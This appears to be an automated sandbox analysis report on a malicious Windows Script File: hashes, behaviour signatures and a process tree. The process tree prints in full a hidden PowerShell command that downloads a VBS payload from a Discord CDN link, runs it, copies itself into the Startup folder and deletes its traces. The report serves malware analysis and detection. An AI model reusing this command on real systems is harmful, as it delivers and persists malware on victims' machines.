Analysis

  • max time kernel
    107s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    22/09/2022, 18:00

General

  • Target

    e4fbe2c0de215885d004f354f1e57357.wsf

  • Size

    53KB

  • MD5

    e4fbe2c0de215885d004f354f1e57357

  • SHA1

    258f167a93a3f51fee1e05f6d401661b5ea63bd3

  • SHA256

    ce6cdc61e1758c5abd949a017475171aea3dbd9571d45300990badd6006759c4

  • SHA512

    a3c1c60d641226aef13be04eda4c3e30e8a0b658e5bae65b4b3a7beba692dd57e63e5d451169d10e2f535414855be26767657ca6e08164e9f609e7f74f749023

  • SSDEEP

    192:L48w8Nlb0bqGW6CCCuqpS848w8Nlb0bqGW6CCCuqpd48w8Nlb0bqGW6CCCuqpJ:dwSb0cJqiwSb0cJzwSb0cJR

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e4fbe2c0de215885d004f354f1e57357.wsf"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1022146310729650249/1022278336447262750/Crpted55.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('حتمذمیص.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\حتمذمیص.wsf');Start-Sleep 1;rm *.vbs,*.wsf
      2⤵
      • Deletes itself
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:900
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
        3⤵
          PID:860
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1200

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • memory/900-57-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp

            Filesize

            10.1MB

          • memory/900-59-0x0000000002344000-0x0000000002347000-memory.dmp

            Filesize

            12KB

          • memory/900-58-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp

            Filesize

            11.4MB

          • memory/900-60-0x000000001B770000-0x000000001BA6F000-memory.dmp

            Filesize

            3.0MB

          • memory/900-63-0x000000000234B000-0x000000000236A000-memory.dmp

            Filesize

            124KB

          • memory/900-66-0x0000000002344000-0x0000000002347000-memory.dmp

            Filesize

            12KB

          • memory/900-67-0x000000000234B000-0x000000000236A000-memory.dmp

            Filesize

            124KB

          • memory/1200-65-0x00000000039C0000-0x00000000039D0000-memory.dmp

            Filesize

            64KB

          • memory/1368-54-0x000007FEFB641000-0x000007FEFB643000-memory.dmp

            Filesize

            8KB